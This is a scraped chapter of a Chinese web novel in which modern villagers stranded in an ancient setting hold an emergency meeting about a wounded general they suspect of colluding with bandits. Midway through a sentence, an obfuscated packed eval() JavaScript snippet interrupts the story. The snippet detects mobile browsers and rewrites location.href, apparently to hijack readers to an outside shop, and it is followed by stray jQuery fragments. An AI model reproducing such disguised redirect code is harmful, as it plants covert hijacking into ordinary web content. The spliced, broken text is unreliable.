4. 紧急会议
作品:《全村都在暗杀男主》 “是你把鬼子……啊呸,土匪,带进村的?”
阿吉一脸不可置信,看向谢无恙。
“咳咳……”谢无恙避开他的目光,“也不能这么说……”
“谢爷,谢爷你可不能不认我们啊!”
一听他有否认的意思,土匪头子简直声泪俱下,“哥几个为了给您卖命,可是连正事都耽搁了啊!”
程安没忍住:“什么正事?”
“打家劫舍呀!”
程安:……
她就多余问!
“跟他说那么多干嘛?干脆也绑起来算了!”有人群情激愤,抄起麻绳就要动手。
“等一下!”
程安高声制止,随后扭头去问,“徐法医,你刚才说,谢将军的伤势如何?”
法医徐知节:“那箭深及筋骨,好不容易才止了血,若是妄动,伤口撕裂,恐怕就危险了。”
谢无恙眸光一软,向她走来:“程姑娘,谢某身体无碍,不必挂——”
“那就好!”
程安等的就是这句话。
话音还未落,她便突然上前一步,一把将他手臂反剪到身后。
“不用绑了,他跑不了。”
谢无恙:……???
围观众人也愣在当场。
程安洋洋得意。
她又不傻,谢无恙可是久经沙场的将军,若不是重伤在身,眼前这几个亚健康的现代人,哪里会是他的对手?
可现在情况不一样了,虎落平阳,就得被犬欺。
程安邪魅一笑:“谢将军,这方圆几百里,只有我们一个村子,若不乖乖配合,哪儿还有仵作给你治伤呢?”
“再说了,我可是你的救命恩人,哪怕是为了报答我——你也得听话!”
谢无恙指指徐法医:“我的救命恩人不是他吗?”
“……”程安沉默,“不许狡辩!”
…………
将山匪们扔入地窖,后半夜,程安蹑手蹑脚爬出窗子,绕到厢房后院。
谢无恙通匪也好,不通匪也好,都不重要。
重要的是,他理应是三十天后那个下令屠村的人,可今晚土匪进村,他明明有机会动手,却居然没有。
这个人到底在想什么?
她探着头望了望,见四下无人,便鬼鬼祟祟地凑到窗户底下,用指尖沾了点唾沫,轻轻在窗纸上戳了个小洞。
一只眼睛凑了上去。
厢房和主屋格局类似,谢无恙正和衣睡在床上,长发如墨般散开,长长的睫毛覆在眼下,美得不可方物。
程安只觉心脏突突狂跳,就快从嗓子眼蹦出来了。
她只当是做贼心虚,下意识拂住胸口,信心中却不由自主地出现了一个念头——
真好看呀。
原来古代的将军,就是长成这样的吗?
一时间,她竟有些舍不得他死了。
以前她还奇怪,怎么那些穿越剧女主总是对男主一见钟情,即便顶着伏低做小的封建糟粕,也要虐恋情深。
还有那些古装剧女主,就算是男主屠了她全家、灭了她全族,她还能与他爱得难舍难分。
现在,她终于悟了。
都是颜控啊!
她一咬牙,一甩头,将那些乱七八糟的古偶狗血情节从脑中赶了出去。
正事要紧。
她屏住呼吸,盯着床上的人看了许久。
谢无恙一动也不动,呼吸平稳绵长,胸口随着呼吸轻轻起伏,看起来睡得很沉。
程安还是不放心。
她小心翼翼地把窗户推开一条缝,摊开巴掌,对着谢无恙的方向,用力挥了挥。
没反应。
睡得这么沉?
她思忖片刻,弯腰从地上捡了片树叶,顺着窗缝轻轻扔了进去,正好落在他的手边。
还是没反应。
程安胆子大了些,干脆用手肘撑住窗框,双脚一踮,半个身子都探进了窗子,眯起眼睛仔细观察。
好一个秀色可餐的睡美人儿。
程安静静地端详着他的睡颜,那眉眼,那身形,颇有几分惹人怜爱的羸弱。
等等……羸弱?
惹人怜爱?
……拉倒吧!
她不由想起,方才在她那张窄得出奇的床上,他从背后紧紧锁住她的双臂,力道大得出奇。
那时他胸膛紧紧贴着她的后背,男人的身体热得发烫,隔着薄薄的衣料,她甚至能感觉到他肌肉的轮廓,硬邦邦的,随着呼吸一起一伏。
可为什么他看起来如此清瘦呢?难道这就是所谓穿衣显瘦、脱衣有肉吗?
不知不觉中,她身子又往里探了些,谁知突然脚下一滑,重心不稳,上身猛地向前倾倒,整个人差点从窗户栽进去。
“——唔!”
程安吓得不轻,赶紧抓住窗沿,心脏差点停跳。
她大气也不敢出,瞪大眼睛看着床上的人。
咚咚。
咚咚。
过了好一阵子,见谢无恙还是没醒,她才长长地舒了口气,拍了拍自己狂跳的胸口。
“吓死我了吓死我了……”她心中默念,“程安你个变态偷窥狂!——居然对一个睡着的人见色起意,更是变态中的变态!”
她一时觉得脸上有些发烧,不敢再看,悻悻地关好窗子,猫着腰,一溜烟跑回了前院。
待窗外动静彻底平息,周遭重归一片死寂。
谢无恙缓缓睁开眼睛。
……
一进前厅,屋里乌泱泱的,桌上、地下,全都坐满了人。
见是她来,阿吉站起来,眼睛瞪得大大的:“怎么样?”
“睡死了,醒不了。”程安大步迈进屋内,抓起桌边水壶,仰头就灌。
“人都来齐了?”
阿吉点头,伸手指了指身后的土墙,上面用炭灰写着几个大字:
全村第五次紧急会议。
旋即,又凑到程安面前,略带疑惑:“程导,你的脸……怎么这么红?”
“咳咳——”程安被一口水呛在喉咙里,目光躲闪,“别瞎说!”
说罢,她把水壶“咚”地一声墩在桌上:“今晚土匪进村的事,你们怎么看?”
“还能怎么看?”迪奥女士抱着胳膊靠在柱子上,语气很是不满,“那些土匪不都说了吗,他们是受谢无恙指使,才进村打劫的!”
“谢将军……会是这种人?”小陈半信半疑。
“我早就说过,他长得就不像好人!”眼镜宅男今晚吓得不轻,精神已在崩溃边缘。
阿吉:“放屁,你白天还说他像古偶男主。”
张大妈:“看看,看看,你们年轻人,思想开放,随便在路边捡男人回家,这下好了吧?”
文艺青年:“我建议立刻将此人就地正法!”
小陈:“不……不至于吧……”
木匠李叔“噌”的一声站了起来:“怎么不至于?今天能勾结土匪,明天就能带人屠村!”
听着众人七嘴八舌,程安沉默着,心中有些乱。
如果真是他引来土匪,方才在她房里,有的是机会对动手,何必多此一举?
程安想不通。
这时,坐在她身旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585465|205230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的法医徐知节,似乎是看出她的犹豫,开口说道:“大家先别着急下定论。”
“看看我们现在的处境:一群手无寸铁的现代人,不懂兵法、不熟悉地形,若是没有谢将军,别说复仇,能不能在这乱世之中活下去都是问题。”
“……”此话戳中众人痛处,一时间,屋内气压都变得低沉。
“那你说,现在该怎么办?”文艺青年一脸绝望。
徐知节沉吟道:“不如按兵不动,先稳住此人,再找机会设局,试试他的深浅。到时如果他真有异心,再动手也不迟。”
阿吉还是不太放心:“可他要真有坏心思,我们留他在村里,会不会引狼入室?上次下毒,那么好的机会,不也——”
“上次是意外!”迪奥女士打断他,“谁能想到他把汤打翻了?下次肯定不会了。”
程安的嘴角抽了一下。
上次那碗汤就是她亲手端过去的,打翻的原因她至今不想回忆。
她一时有些心虚,随即点头附和:“就是!再说了,我们不是已经打败那四个土匪了吗?终于有一战告捷,群众的力量是伟大的!”
阿吉觉得程安是做宣传工作的好苗子,每次说话总能让他热血沸腾。
可大敌当前,不免还是有些担忧:“可是……该怎么试探他呢?”
程安思忖片刻,指尖在桌面轻敲,随后,一脸笃定地吐出三个字:
“鸿门宴。”
……
程安是被一阵震天动地的喊杀声吵醒的。
她以为土匪又进村了,一骨碌从床上爬了起来,抄起床头柴刀就往外冲。
推开房门,眼前的景象却让她有些哭笑不得。
姑娘们分成两组,一组拿着锄头、柴刀,一队举着木板当做盾牌,正在空地上列队操练。
谢无恙站在大家身侧,逐一纠正姿势,袖子挽到胳膊肘,露出线条流畅的小臂。
程安简直怒其不争——
昨晚不是还喊打喊杀,今天就上演军民一家亲?!
她感到一阵眩晕,扶住脑袋,又朝另一侧看去。
不远处,大爷们和几个青壮年正在搬石头修围墙,王总被分配去和泥,满脸不情愿地蹲在地上,手里拿着把铁锹,胡乱搅着。
再看,眼镜宅男正举着个木盾,两腿发软,被谢无恙一棍子敲过去,疼得龇牙咧嘴,引得周围一阵哄笑。
“醒了?”
谢无恙听到动静,见是她,放下手中木棍,向她走了过来。
“阿吉跟我说,昨夜土匪一事惹得人心惶惶,村子防御薄弱,大家想要加固一下城……村防,学点防身的招式,这才请我指点一二。”
清晨的阳光洒在他身上,程安这才前所未有的,将他的轮廓看得真切清晰:他额上沾着细密的汗珠,顺着下颚线缓缓滑落,滴进衣领里。
程安咽了口唾沫,收回视线:“将军愿意帮忙,自是最好。村民们四体不勤,还要劳烦将军多担待了。”
她心中腹诽;这帮村民,平时干啥啥不行,这招借力打力倒是用得好,暗里对他喊打喊杀,明里却恭恭敬敬拜师学艺,好不精明。
谢无恙笑笑:“大家都很勤奋,虽没有武学根基,但胜在心齐,假以时日,一定能有所成就。”
说罢,话锋一转,又问道:“昨夜,你睡得怎样?”
“哎?”想起昨夜的偷窥,程安有些心虚,“还……还行吧……你呢?”
“昨夜风大,不知怎的,竟把窗户纸都吹开了。”
谢无恙垂眸整理袖口,唇角似有若无地弯了一下。
“你说奇不奇怪?”

